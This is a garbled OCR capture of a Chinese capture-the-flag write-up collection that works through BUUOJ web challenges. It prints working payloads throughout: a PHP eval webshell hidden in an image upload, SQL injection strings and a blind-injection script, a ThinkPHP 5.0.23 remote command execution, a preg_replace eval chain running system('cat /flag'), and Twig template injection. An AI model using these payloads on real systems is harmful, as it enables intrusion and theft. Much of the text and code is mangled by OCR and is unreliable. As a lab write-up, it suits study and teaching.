Fshell.phtmli#t4T E 4%

Upload Labs

NFE: | SR R

1#3r

illegal suffix!

Xt JG ST T Kk
BAMEH— T ZRIAR L343 jpg

GIF89a
script language assert($_POST[ 1;</script



< C A 7% | a321e26d-9888-4aa9-a566-68baeb278374.node3.buuoj.cn/index.php

Upload Labs

MR | EEE | FuREE
3
Your dir uploads/ee809ech8703e9¢e11186ee49477f091a

Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "3.jpg" [3]=> string(9) "index.php" }

B EAe—A .userini XM, HIATH B FH BEMphp A #EAT U5 I I, #8498 A .user.iniHh 48 B9 301 Lphp 7% kAT 525
FTLARANE — A user.inii# T BAg.  (—@EIMCHLIARLK)

GIF89a
auto_prepend_file=3.jpg

Upload Labs

SHHE: FILEN S

Your dir uploads/ee809ech8703e9e1f186ee49477f091a

Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "3.jpg" [4]=> string(9) "index.php" }

bR, ERES.
2019]NizhuanSiWei



HANEH, HiEGH T phplEid

<Yphp

$text = 3 GET["text”™];

$file = 3. GET["file"];
password = 3 _GET["password”™];

iflisset(Ftext)&&(file_set_contents(Ftext, v J==="walcome +to the =zjctf")){
echo  "<br><hl>”. file_gzet_contents($text, 'r’ ). "< hlx< br>”
iflpreg_match(”/flag/”, $£ile)) |
echo "Not now!”;

exit();
telze
include (3file) ; S fuseless. php
password = unserialize($password);
echo  $password:
1
1
else |
highlight file( FILE J:
}
P

FEFincludeXX B E, LARARMEBHIES, FIUEERE M LIEHLE.

textA A=, H file_get contents() E2EX #iR [El11E A welcome to the Zjctf
file_get_contents() B # I T B2 BN A B — N7/ 8, EXBEREE — A0, MR MtextTE. BERMHRXTH
MR, RRRBArSH

T 2 5 B B 4A textTR B text=welcome to the Zjctf KI1iE, A B & ¥R RIY.

FiRER TS E, FHMTE

php:/finputth B3

BB ZE allow_url_include 25 on, B BT 1) R 1 JR 46 5048 9 R L, Kepostid K I BUR/EH PHPRIBHAT . JEAKS
AN BT IR, ALK SEOEA 2test=php:/input , A postiE & B K SCHE N2, phpBh AT &K postd 25 M /E SR 2
5714 F HackBar B N7E post & H W EZ BRI, FrilHbpita.

EEHEE, W17,

data: /It B i
data://Hh i R B 2 Wongk 4, /BRI php:/input 28480

text=data:text/plain,welcome to the zjctf

& C b ~ZE | 6391081c-1e46-423b-9a50-2e4c8df10cca.node3.buuoj.cn/?text=data:text/plain,welcome%20to%20the%20zjctf

welcome to the zjctf

WA BLin E base64 4w .

text=data

BEE _AffleNgehflagF . ®¥%, £ TE.
IRTHE—A useless.php , 8 F|Z 7T 3L FPHP Y B H fphp:/filteris B . 224

php



Fi LA¥gi&payload, FIhE &

text=data:text/plain;base64,d2VsY29tZSBObyBOaGUgempjdGY=8&file=php

welcome to the zjctf

PD9waHAglAoKY2xhc3MgRmxhZ3sglC8vZmxhZy5waHAglAoglCAgeHVibGljICRmaWxlOyAgCiAglCBwdWIsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtP

base64f#1Y, 5315 2l useless.php JEHT .
php

class Flag{
public $file;
public function _ tostring(){
if(isset($this->Ffile)){
echo file_get contents($this->file);
echo 5

return ( );

& 2H — flag.php 3 Hfile A A KB flag.phpdF B, Fibl. HWE&E—NFIMLFRFE.

php
class Flag{
public $file ;
public function _ tostring(){
if(isset($this->file)){
echo file get contents($this->file);
echo ;
return ( );

}

}

$s = serialize(new Flag());

echo $s;

0:4 1:{s:4

& % Hi&payload

text=data
password=0:4




C A TEE | view-source:639f081¢c-1e46-423b-9a50-2e4c8df10cca.node3 . buuoj.cn/?text=data://text/plainbase64,d2VsY29tZ5B0byB0aG!

brr<hliwelcome to the zjctfdhlx{/br>
<brroh u find it </br>

I=-but 1 cant give it to u now——>
{Iphp

ir(2===3){
return (“flag {(f9£91493-34ea-4fc1-adl6-36c4a9114a2d) )

(SRR I N RN

= e
[

>
<br>U R 30 CLOSE !///COME ON FLZ

[CISCN2019 #1t 5 X Day2 Web1]Hack World

All You Want Is In Table ‘flag’ and the column is ‘flag’

Now, just give the id of passage

| =3

R T fEflagk Hflaghl, SHMANIEEAR1:

| || 122

Hello, glzjin wants a girlfriend.

WUARIERKELE, FlR2:

| || 122

Do you want to be my girlfriend?

FHHIN999, BRERIER:

| =3

Error Occured When Fetch Result.

BAN2-10S, BERENRR:

FETEETI TR QRT T TR ot wr YTz



| || 122

SQL Injection Checked.

FEHWEER A F A REAR, UGB R HEANTTR, fl: id=2/2, FREEEId=2KNE, H7ENREid=1K%
Ro
N2/ BrIE N .

| =3

Hello, glzjin wants a girlfriend.

BRAEERER, B AHFRMEE, §Hlength()EdHR:

BAEFEE, BAIMSER:

=3

Hello, glzjin wants a girlfriend.

22 0 <Al

| || 122

Error Occured When Fetch Result.

HAMW e BT R AT R ETE .
Wi EEREANR, RS T (FH) , BTLCRA(EAE AR5

id=(ascii(substr((select(flag)from(flag)),0,1 120

AICARRY, fhEfAagiiK B M50, 13 = 5EE ERIPython3/ii 4% Hiflag:



payload

r requests.post(url, data={ : payload})

in (r.content):

aLg
flag ( 1)
print(flag)
break
print(flag)

AR E RS T RE RS R Y, URREENTHE.

AT CAMERTE S, BMEM A AL BB A LA E S EER;
Tab#. %09. %0a. %0b. %0c. /**/HTA] LIMEREH
BT DA A AR B il 2k

1M=0

0"0=0

110=1

B #i&id=1/(f((ascii(substr((select(flag)rom(flag)),1,1))=102),0,1))
XA AT LA,

[ % X ki 2019]HardSQL



XRAK, ABRZAGEET R EE, FARTLIRITSALEN, Tk, BLEAFARFI A0 lagT !

SRR

3.csdn.net/qq_

2 F TR Tand. = Z# unionZ L sqleit ¥
BN ST X B R TEN !

£ Al updatexmBR 45 ¥ EAN
BEHEERFLS

check.php?username=admin'or(updatexml (1, concat(@x7e,version(),0x7e),1))%23&password=21
check.php?username=admin'or(updatexml (1, concat(0x7e,database(),0x7e),1))%23&password=21

4R :geek

check.php?username=admin'or(updatexml (1, concat(0x7e, (select(group_concat(table_name))from(information_schema.ta
bles)where(table_schema)like(database())),0x7e),1))%23&password=21

4 B:H4rDsq1
BEFR

check.php?username=admin
H4rDsql')),0x7e),1))%23&password=21

45 B:id,username,password

BEHAE

check.php?username=admin ' ,password) )from(H4rDsql)),

Px7e),1))%23&password=21

25 R qagflag{acfsa8ed-5671-41f9-aa
F right() ) 7 25 #) J5 TH #5 7

check.php?username=admin’'or(updatexml (1, concat(0x7e, (select(group_concat((right(password,25))))from(H4rDsql)), ol

x7e),1))%23&password=21

1-41f9-aa2d-12e51d69ddc3}
®JEA:
flag{acf5a8e4-5671-41f9-aa2d-12e51d69ddc3}



extractvalueiR é53E AN

PB4
check.php?username=aaa&password=aaa'”“extractvalue(l,concat(0x7e, (select(database()))))%23

=

username=aaa password aaa

geek'))))%23
HEA R B ()5 T2, Hlikegid 7=5

B34

username=aaa&password=aaa
H4rDsql'))))%23
HE b, BHAARK—TERERT

H ZElflag

check.php?username=aaa&password=aaa'”extractvalue(1l,concat(0x7e, (select(group_concat(password))from(H4rDsql))))
23

ARRERT laghkd i —B.
Tl T ) A right() 2 7~ Fo A o7 25

check.php?username=aaa&password=aaa'”extractvalue(l,rightconcat(0x7e, (select(group_concat(password))from(H4rDsql]

))))%23

[GYCTF2020]Blacklist

%1

right syntax to use near ' 1'77 at line 1

FRBEN
A



=31

array(2) |

[o]=>

string (1) “17

[1]=>

string (7) “hahahah”
}

array(2) |
[o]=>
string (1) “2°
[1]=>
string(12) "miaomiaomiac”

}

array(2) |
[o]=>
string(8) “114514”
[1]1=>
string(2) “ys”

}

BRETEA
RETSEAR

return preg_match( y$inject);

HEBIEAN
payload:

1';show tables;#

ﬁm
i

array(2) |
[o]=>
string (1) "17
[1]=>
string (7) “hahahah™

array(l) |
[o]=>
string(8) "FlagHere”

array(l) |
[o]=>

string(5) “words”

1';show columns from "~ FlagHere™; %23




array(6) |
[o]=>
string(4) “flag”
[1]=>
string(12) “varchar (1007
[2]=>
string(2) “NO”
[3]=>
strinz (0)
[4]=>
NILL
[5]=>
strinz (0)

Y

Y

T3 3 T preparefialert
FATAT LA
HANDLERJ &

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

Al Ldy La) L

[o]=>

string (1) "17

[1]=>

string (7) “hahahah™
}

array(l) |

[o]=>

string(42) “flag (b257097a-8095-daae-084f -ddf 97 TH32195}1 7
}

[MRCTF2020]Ez_bypass



I put something in F12 for you
include * flagz. php’ ;
Fflaz=" NRCTF (xxxxxxxxxxxxxxxxXxXEXXXXLl
if(isset (3 _GET[ g2’ 1)&kisset (3_GETL id 1)) |
$ia=3_GET[ id’ 1;
$22=3_GET[ 22’ 1;
if (md5(3id) === mdb(§zg) && 3id '== 3g2) {
echo *You got the first step ;
if(isset (3_POST[ passwd 10)
$passwd=3_POST[ passwd’ ];
if (lis_numeric(3passwd))

{
1f (Jpasowd==1234567)
{
echo " Good Jok!’
highlight_file( flag. php’ )
die(’ By Retr 0 );
}
else
{
echo “can you think twice??”:
}
}
else|
echo “You can not get it 17
}
}
elzef
die(’ only one way to get the flag' )
}
}
else 1
echo “Tou are not a real hacker!”;
}
}
elzef
die(’ Please input first’):
}

}Please input first

goRidS RIS, it B ks

< C A TE2£ | 73913874-a276-49a5-aba3-13171c¢35bf2b.node3 buuoj.cn/?id[]=&gg[]=2 B % » e H

| put something in F12 for you include flag.php’; $flag="MRCTF{xoxoooaoceooosxxxxxsxxx)'; if(isset($_GET['gg'l)&&isset($_GET['id')) {
Sid=$ GET['id']; $99=% GET['gg']; if (md5(Sid) === md5($gg) &8& $id == $Sgg) { echo 'You got the first step’; if(isset($ POST['passwd’]))
{ Spasswd=$ POST['passwd']; if (lis_numeric($passwd)) { if(Spasswd==1234567) { echo 'Good Job!"; highlight file('flag.php"); die('By
Retr_0"); } else { echo "can you think twice??"; } } else{ echo 'You can not get it I'; } } else{ die('only one way to get the flag'); } } else { echo
"You are not a real hacker!"; } } else{ die('Please input first'); } }

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
You got the first steponly one way to get the flag

is_numericiR $ I 1EF 2L & 2 B AR F B FZ/FE 2 NiR Elture, RZ.
{ Flhackbarffipostft 2 passwd

[RoarCTF 2019]Easy Java
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BBR Login

@ username
i

a password

Login

=
&
=

2k S drhelp KB

C A %% | cda79aed-212f-42e5-9166-212ba0afc5c0.node3.buuoj.cn/Download?filename=help.docx

java. io. FileNotFoundException: {help. docx)

& Bifilename=help.docx Al B8 7] LABEAT SO EL

WEB-INF/web.xmliittg

WEB-INF2JavafWEBN =2 EF. MRRERERERDTEFPAG, ©/Eid web. xmI X3S EARIAI i THERERE A
Eifial, WEB-INFERS2—FX4kBER:

/WEB-INF/web.xml: Webi/BIERFEE MM, AT serviet FIEfbAINAAHEERHEHN.

/WEB-INF/classes/: &7TubmaFiEMAY class 344, BF servlet class #13Eserviet class, {BIIFBEQSTE jardd
/WEB-INF/lib/: Fiiweb N EBBEENEMIARNG, MEEX A BREREBNjars 4 NSRRI jar 3+

/WEB-INF/src/: BBEZR, EREESSAMES Navallst,

/WEB-INF/database.properties: #IEEEE {4 v G

SCHRRE], IRIRRI AR R v il iR Blweb xmiSCf, HEWiclass U HIER1E, BRJE Hkclass UM, B g BEclass 3L

A 28 Z vk A RIL



Ty TFEYPIAAVRET o

2R Bl web xmls 4

Request Response

Pretty BGENTE \n  Actions w Raw Render \n  Actions w
1 posT /Download HTTR/L.1 /Login

2 Host: cda79%aed4-212f-4225-8166-212balate5c0. noded .buuc]j.cn </url-pattern>

3 Cache—Control: max—age=0 </servlet-mapping>

Tpgrade-Insecure-Requests: |
» User-Agent: Mozilla/3.0 (Windows NT 10.0; Win&4; x£64) AppleWs=bEKit/337
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 38 <servlet-name>
Accept: DownloadController
text/html, application/xhtml+xml, application/xml; 0.9, image/avif, imac
cbp, image/apng, */*;g=0.8, application/signed-exchangs;v=h3; q=0.9
7 Referer: http://cda79as4-212f-42e5-0166-212balafc5c0.node3 . bunos.cn/ com.wm. ctf. DownloadController
Accept-Encoding: gzip, deflate <fservlet-class>
</servlet>
41 <servlst-mapping>

<gervlet>

1

</servlet-nams>
<servlet-class>

Accept-Language: zh-CN, zh;q=0.8
10 Cookie: UM distinctid=

176a30edcfedd7-020c 1L 73 £0£04b-c791039-144000-176a30edcffbhb7; JSESSION 22 <servlet-name>
541 EEDDODESCONSFSTODES3F7230950E DownloadController
</servlet-name>

11 Connection: close
Content-Type: application/x-www—form-urlencoded
Content-Length: 24

43 <url-patterns
/Download
</url-pattern>
</servlst-mapping>

15 filename=WEE- INF/w=h.xml

<gervlet>
4 <servlet-name>
FlagController
</servlet-name>
48 <servlet-class>
com.wm. ctf. FlagController
</servlet-class>
</servlet>
<gervlet-mapping>
51 <servlet-name>
FlagController
</servlet-name>

/Flau
</url-pattern>
</servlst-mapping>

[T

R IEBUX A class 3, Higpayload

filename=WEB-INF/classes/com/wm/ctf/Fla




Bl - (<) Target: http://cda79aed-212§-42e5-9166-212h:

Request Response
Pretty EEERE \n Actions w Pretty BCEM Render \n Actions w
1 POST /Download HTTE/L.L 1 HTTE/L.l 200 OK

X}

Host: cda7%e4-212£-42=25-9166-212balafc5cl. nodeld . buusj.cn
Cache-Control: max-age=0

Upgrade-Insecure-Regquests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&64) AppleW=bKit/537

Server: openresty

Date: Mon, 22 Feb 2021 14:15:52 GMT
Content-Type: application/java
Content-Length: 872

woN

RS

(KHTML, like Gecko) Chroms=/87.0.4280.141 safari/537.36 & Connection: close
& Acecept: 7 Content-Disposition:
text/html, application/xhtml+xml, application/xml; q=0.9, imags/avif, imac attachment; filename=WEE-INF/classes/com/wm/ctf/FlagController.class

ebp, image/apng, */*; =0.8, application/signed-exchange; v=h3; =0.9 8
Referer: http://cdaT9a=4-212f-42e5-9166-212balafc5cl. noded buuogj.cn/ 9 Bp®ud+
Accept-Encoding: gzip, deflate 10

3

w o

Accept-Language: zh-CN, zh;g=0.9 11

10 Cookie: UM_distinctid= I"flagLjava/lang/String; <init> () VCodeLineNumberTab ledoGetR (Ljavax/ser
176a30sdcEedd7-020cb73£0£04kb-c791039-144000-176a30edcE£fhhT; TSESSIOL t/http/HetpServietRequest; Ljavax,/servlet,/http/HttpServietResponse; |V
S41EEDDODESCO0EFETODES3IFTZ30080E 12 Exceptions#§

11 Connection: close 13 SourceFileFlagController.javaRuntimeVisibleAnnotations%Ljavax/servlet

12 Content-Type: application/x-wwwform-urlencodsd notation/WebServlet; nameF lagController <ZmxhZ3syMmU4ANTY4MS03 ZDMILTOYNS

13 Content-Length: 56 WH1YilkMIdmNDU4Z3¥0YzFO9Cy==

14 %&'se<hl>Flag is nearby ~ Come on! !

a/io/I0Exceptionsjavax/serviet/http/HetpServlietRefponse

getWriter ()Ljava/io/PrintWriter;java/ic/PrintWritsf print (Ljava/lang/s

ng; | V!
[

17 ., N-Tis

ZmxhZ3syMmU4NTY4MS03ZDM2L TQyNjQtYWNIYi1kMjdmNDU4ZjYOYzF9Cg==

BN EHT Basebd Rl Rn=5
ZmxhZ3syMmU4NTY4MS03ZDM2LTQyNjQtYWNIYi1kMjdmNDU4ZjY0YzF9Cg==

#5153 (Encode) #2153 (Decode) 135 (JmnathiEE: + )
Base64 fRiZaifEiaiE s :

flag{22e85681-7/d36-4264-aceb-d271458f64c1}

[GKCTF2020]cvehi 2 2

cve-2020-7066

5 filename=WEE-INF/classes/com/um/ctf/Flagtontroller.class l</hl>()*javax/servlet/http/HetpServletjavax/servilet/ServletException

INSPECTOR

Query Parameters (0)

Body Parameters (1)

Request Cookies (2)

Request Headers (12)

Response Headers (8)

0 K/



RE—AMERMERRRE, BEEHATEANT.

[2020-03-01 18:40 UTC] 64796c6e69 at gmail dot com

Description:

get_headers() silently truncates anything after a null byte in the URL it uses.
This was tested on PHP 7.3, but the function has always had this bug.

The test script shows that this can cause well-written scripts to get headers for an unexpected domain. Those headers

could leak sensitive information or unexpectedly contain attacker-controlled data.

Test script:

<?php

// user input

$_GET['url'] = "http://localhost\@.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);

if (substr($host, -12) !== '_example.com") {
die();

}

$headers = get_headers($_GET['url']);

var_dump ($headers);

Expected result:

Warning: get_ headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULL

Actual result:

headers from http://localhost

ghfeveml i, get _headers()RRBF/EIRIA . BI\OEWT, ViRAMEN. SiF%R, & HIX B FFEH%00E W
FEARHE W TUAAD H 45 3R 7R T 46 14 3& payload

- G A T%%£ | a38e13b7-5e1a-4205-a346-b012b8b623b5 node3 . buuoj.cn o @ = 2
View CTFHub O =& =6e BB R o s » - I AT
You just view *ctfhub.com emis
ctfhub.com”>View CTFHub</a>

<bry

"You just view *.ctfhub.com

<t--

Venon 4384
>
</bodv> v

html  body




< C A T2 | a38e13b7-5e1a-4205-a346-b012b8b623b5.node3.buuoj.cn/?url=http://127.0.0.1%00.ctfhub.com

boxsy B A s
[0] =» HTTR/L. 1 200 OF <html>
[1] = Date: Mom, 22 Feb 2021 14:27:36 GNT <head><
[2] =» Server: Apache/2.4. 38 (Debian) «++ ¥ <body>
[3] =» ¥-Powered-By: PHP/7.3. 15 » <pres.
[4] => Tips: Host must be end with ~ 123 </body>
[8] =» Vary: Accept-Encoding <Ih“tm1>’
[6] =» Content-Length: 113 )
[7] =» Cormection: close
[8] => Content-Type: text/html; charset=ITF-3

)

html  body

L=

payload:
url=http

Arrav

(0] =» HITP/1.1 200 OK

[1] => Date: Mon, 22 Feb 2021 14:28:24 GNT

[2] =» Server: Apache/2.4. 38 (Debian)

(2] =» ¥-Powered-By: PHP/7. 3. 15

[4] =» FLAG: flag {7580bfe2-0Baa—42f3-9d65-3d0daTdfa145}
[5] =» Vary: Accept-Encoding

[6] =» Content-Length: 113

[7] =» Commection: close

[8] =» Content-Type: text/html: charset=UTF-2

[GXYCTF2019]BabyUpload

GIF89a
script language $ POST[cmd script

Ivar/www/html/upload/634804364a71ab27dca85781909d5311/3.jpg succesfully uploaded!
EAERRT), WEIEE T, EREFKIfag

[BJDCTF 2nd]old-hack




By BJD CTF
]

7 H $#27xthinkphp5
i /index.php?s=1 REEFF

[0] HttpException in App.php line 535

TRRAFIE: 1

$config = self::init($module);

/1 EEEREEOE

$request->cache(
$config[ 'request_cache'],
$config[ 'request_cache_expire'],
$config[ 'request_cache_except']

} else {
throw new HttpException(404, 'module not exists:' . $module);
}

} else {
/1 BEREE
$module = "';
$request->module($module);

¥

// BRSNS
$request->filter($config[ 'default_filter']);

Call Stack
1. in App.php line 535
2. at App::module(['1’, null, null], ["app_host' => ', 'app_debug' => true, 'app_trace' => false, ...], null) in App.php line 457
3. at App::exec(['type' => ‘module', ‘module’ => ['1', null, null]], ['app_host’' => '', ‘app_debug' => true, ‘app_trace' => false, ...]) in App.php line 139
4, at App::irun() in start.php line 19
5. at require('/var/www/html/thinkp..."') in index.php line 17

Environment Variables

GET Data

POST Data
Files

Cookies
UM_distinctid
Session
Server/Request Data
HOSTNAME
PHPIZE_DEPS
GPG_KEYS
PHP_EXTRA_CONFIGURE_ARGS
PHP_ASC_URL
PHP_CFLAGS
PWD

HOME
PHP_LDFLAGS
PHP_INI_DIR
PHP_URL
PHP_CPPFLAGS
FLAG
PHP_VERSION
SHLVL
PHP_MD5

PATH
PHP_SHA256

USER

FCGI_ROLE
QUERY_STRING
REQUEST_METHOD
CONTENT_TYPE
CONTENT_LENGTH
SCRIPT_NAME
REQUEST_URI
DOCUMENT_URI
DOCUMENT_ROOT
SERVER_PROTOCOL
REQUEST_SCHEME
GATEWAY_INTERFACE
SERVER_SOFTWARE
REMOTE_ADDR
REMOTE_PORT
SERVER_ADDR
SERVER_PORT
SERVER_NAME
REDIRECT_STATUS
SCRIPT_FILENAME
HTTP_HOST
HTTP_USER_AGENT
HTTP_ACCEPT
HTTP_ACCEPT_ENCODING
HTTP_ACCEPT_LANGUAGE
HTTP_COOKIE

HTTP_UPGRADE_INSECURE_REQUESTS

HTTP_X_FORWARDED_FOR
HTTP_X_FORWARDED_PROTO
PHP_SELF

empty
empty
empty

1778ac6823dbad-0d123253ee4786-78667f69-144000-1778ac6823ed34
empty

Oac9fa234f01

autocenf dpkg-dev dpkg file g+ + gce libc-dev make pkgconf re2c

0BD78B5F97500D0450838FI5DFE8S7D9A90DS0ECT 6E4F6AB321FDCO7F2C332E3AC2BFOBCA33CFCBB3
enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi

https://secure.php.net/get/php-5.6.40.tar.xz.asc/from/this/mirror

-fstack-protector-strong -fpic -fpie -02

Jvar/www/html

/home/www-data

WI,-01 -WI,--hash-style=both -pie

Jusr/local/etc/php

https://secure.php.net/get/php-5.6.40.tar.xz/from/this/mirror

-fstack-protector-strong -fpic -fpie -02

no

5.6.40

1

Jusr/local/sbin:/usr/local/bin: /usr/sbin:/usr/bin:/sbin:/bin
1369a51eee3995d7fbd1c5342e5cc917760e276d561595b6052b21ace2656d1¢
Jusr/local/sbin/php-fpm

www-data

RESPONDER

s=1

GET

findex.php

findex.php?s=1

findex.php

Ivar/www/html/public

HTTP/1.1

http

CGI/1.1

nginx/1.14.2

172.16.128.14

38016

172.16.135.102

80

localhost

200

/var/www/html/public/index.php
cdf1692f-0a33-477b-93ce-8b7450f9cB6c.node3.buuoj.cn

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324,182 Safari/537.36 Edg/88.0.705.74
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
gzip, deflate

zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
UM_distinctid=1778ac6823dbad-0d123253ee4786-78667f69-144000-1778ac6823ed34
1

59.55.37.72, 59.55.37.72

http

Jindex.php



REQUEST_TIME_FLOAT
REQUEST_TIME
PATH_INFO
Environment Variables
ThinkPHP Constants
APP_PATH
THINK_VERSION
THINK_START_TIME
THINK_START_MEM
EXT

DS

THINK_PATH
LIB_PATH
CORE_PATH
TRAIT_PATH
ROOT_PATH
EXTEND_PATH
VENDOR_PATH
RUNTIME_PATH
LOG_PATH
CACHE_PATH
TEMP_PATH
CONF_PATH
CONF_EXT
ENV_PREFIX

IS_CLI

1IS_WIN

1614068419.654
1614068419

1

empty

Ivar/www/html/public/../application/
5.0.23

1614068419.6567
267320

php
/
Ivar/www/html/thinkphp/
Jvar/www/html/thinkphp/library/
[var/www/html/thinkphp/library/think/
/var/www/html/thinkphp/library/traits/
Jvar/www/html/
[var/www/html/extend/
var/www/html/vendor/
[var/www/html/runtime/
[var/www/html/runtime/log/
fvar/www/html/runtime/cache/
[var/www/html/runtime/temp/
Ivar/www/html/public/../application/
php

PHP_

false

false

ThinkPHP V5.0,23 { B —fI-HAPTITARTHIUS HASES: |

EPIRAS45.0.23, R —K5.0.237RA

| AR

ThinkPHPS5.07E 2 F-RSEIl T R MERESRULEAITRY, ZThasFIFES_POST['_method |Ze83k(E

BELAERAE, HWEHEIEES POST[ method']=_ constructfit, RequestZ$fImethod75iEES
BizsnTaiiEs, HhEflBasiEfiterEEB s hsystemSHEE, JRSRHTSEITERN
EsTiiTEES S,

| EIEEE

ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23

Fir LLE #post

method=__construct&filter system&method=get&server[REQUEST_METHOD]=1s

R B Bk Rlflag

method=__construct&filter system&method=get&server[REQUEST_METHOD]=cat /flag




| O R - -Ri2 3% x | & suucre

X P lesmm] - mmemsn x

S R e cdﬂ692f—0a33—4??b—93(c-8b]’450f9(86L.nodP3.buuoj.cn

L3

w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthotise HackBar

LOAD SPLIT EXECUTE TEST = sQLl - X85 -~ LFl ~ SSTI - ENCODING - HASHING -~

_ URL
http://cdf1692f-0a33-477b-93ce-8 b7450f9c86c.node3.buuoj.cn

enctype

= q Enable POST application/x-www-form-urlencoded

hitps://blog.csdn.netlqq_51558360

[BJDCTF2020]ZJCTF, A3tk



U A +Z% | 150d0fc4-0631-4aa1-b098-d6d8a06aal43.nod

<Tphp

error_reporting (0]
text = F GET["text”];
3file = $ GET["file”];
iflizsset ($text)&E(file_set_contentsi($text, © 1==="T have a dream’)){
echo  “<brr<hl>”. file_get_contents(Ftext, v ). "< hlx< ",
if(preg_match(”/flag/”, $£ile)) |
die("Not now!”™);

}
include($file) Sfnext. php
}
elzef
highlight_file(_ FILE_ J;
]
e

AL gettE AP S Bitextfilfile textZ $ R Hfile_get contents()E# R RIT I, THEANAZE 5" have a dream"E 75 =
HAULES, 7 BePAT FHISHEE$fleS %

EEI A Zfile_get_contents() BT FrtextZ>4L, U REHEHM A ERE, BRMERphpty i+ Kidata:/Hil

VRID 3R BATT 2 B next.php ST, BT BABRATTFI A php:/Ailter i i3 22152 F next.php FIVERRS o

F =& payload

index.php’text=data

| have a dream

PDOwaHAKIGIkIDOgJFOHRVRbJ2IkJ107CiRFUOVTUOIPTIsnaWQnXSA9ICRpZDsKCmMZ1bmNOaWIulGNvbXBsZXgoJHJILCAke3RyKSB7CIAgICBYZXR1cmdgeHIIZ19yZXBsYWNIKAogICAgICAgICcvKCegLiAker

PD9waHAKJGIKIDOgJFOHRVRbJ2IkJ107 CiRfUOVTUOIP TIsnaWQnXSA9ICRpZDsKCmZ1bmNOaW9ulGNvbXBsZXgoJHJILCAk
c3RyKSB7CiAgICByZXR1cm4gcHJIZ19yZXBsYWNIKAogICAgICAgICcvKCcgLiAkemUgLIANKS9laScsCiAgICAgICAgJ3NOcnR
vbG93ZXlolixeMS IpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkemUgPT4gJHNOcikgewogIC
AgZWNobyBjb21wbGV4KCRyZSwgJHNOcikulC Jcbil7CnOKCmZ1bmNO0aW9uIGdIdEZs YWcoKXsKCUBIdmFsKCRfROVUWYydjb
WQnXSk7Cn0OK

baseb4f#iL1E:



php
$id

function complex($re, $str) {

return preg_replace(

. $re .

foreach($_GET as $re $str) {

echo complex($re, $str).

function getFlag(){

@eval($_GET[ s
1
S

le#E X Mipreg_replace, & —/MZ AR AT IR

B RA XML HAT, PATEEF KgetFlag)E %, Ef4EAecmdSE, HAHgetFlagd eval OO E%, BT —AMMRUEEH
i

BT e .

X SCE B YA A

F 2 & Payload:
next.php?\S*=${getFlag() }&cmd=system( )5
<~ @] A FZ%E | 150d0fc4-0631-4aa1-b098-d6d8a06aal43.node3.buuoj.cn/next.php\S*=${getFlag()}&cmd=system(%27cat%20/flag%27); % B8 o

flag{61ff2333-fc30-4c2b-92e0-e3f7971691e2} system('cat /flag”);

[BJDCTF2020]Cookie is so stable
2 R Twigh iR IEA

g '* SRRV =3 UQIUL0AUTT | JTTHLU 1 - ZLLTILUIUTUL T UJa.l IUUT I UUUj.Ll ) ]

BJDCTF  Flag  Hint

Welcome to BIDCTF 2020



https://xz.aliyun.com/t/2557
https://www.k0rz3n.com/2018/11/12/%25E4%25B8%2580%25E7%25AF%2587%25E6%2596%2587%25E7%25AB%25A0%25E5%25B8%25A6%25E4%25BD%25A0%25E7%2590%2586%25E8%25A7%25A3%25E6%25BC%258F%25E6%25B4%259E%25E4%25B9%258BSSTI%25E6%25BC%258F%25E6%25B4%259E/#2-Twig

Riiflag— N EFAH
ERE BT T EH BT TWg BEBRIEA

{r TN RBT777777 ==> Jinja2

{77 B £49 ==> Twig

Hello 49

- 4

-
- N

f

S{"z".join("ab")}

Unknown

h.net/qq_81688860




B H ##7~cookie

—J-Raw ]-Paranm ]-Headers ]-Hex ] Ra
Pretty n Actions
-,n'E -
! GET /flag.php HTTE/L.1 |:
I 2 Host: da3088a6-773e-4201-92ch—fc096=2E6785a. node3 . buuoy.cn
| 3 Cache-Contrel: max-ag==0
=/ Upgrade—-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4) AppleWsbKit/537.3& (KHTML, like Gecko)

ﬂp Chrome=,/85.0.4183.121 Safari/537.36
F & Accept:
text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image /webp, image/apng, * /* ; o
pplication/signed-exchanges;v=hb3;=0.9
7 Referer: http://da3DBBabt-7732-4201-82ch-fc096=E66785a. node3 .bunoy . cn/flag. php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;¢=0.8
Cookie: PHPSESSID=4=lbdbdafed3794acOdZTEL71£3L0525; user=%7E%7ET3IATS7D%TD
Connection: close

=)
[T S s T I 1]

userATEN A

payload

_self.env _self.env

Bt
n
|

R P

\Vi =]

Raw | Params | Headers | Hex Raw | Headers | Hex

q Pretty \n Actions Pretty 35 n Actions %

g 1 GET /flag.php HTTP/L.1 A
2 Host: da30B8a6-7732-4201-02ch-fc00EeEETE5a.node3  bunoj.on P f—
5 Cache—Control: max-ag==0 BJDCTF —
4 Upgrads-Insscurs-Recuests: 1
{ 5 User-Agent: Mozilla/5.0 (Windews NT 10.0; Wingd; %£4) AppleWebKit/537.32 (KHTMD, like Gecko)
Chrome/85.0.4183.121 Safari/537.36
e & Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/wshp, imags/apng, */* ; ¢

if|  wplication/signed-exchangs;v=b3;q=0.9

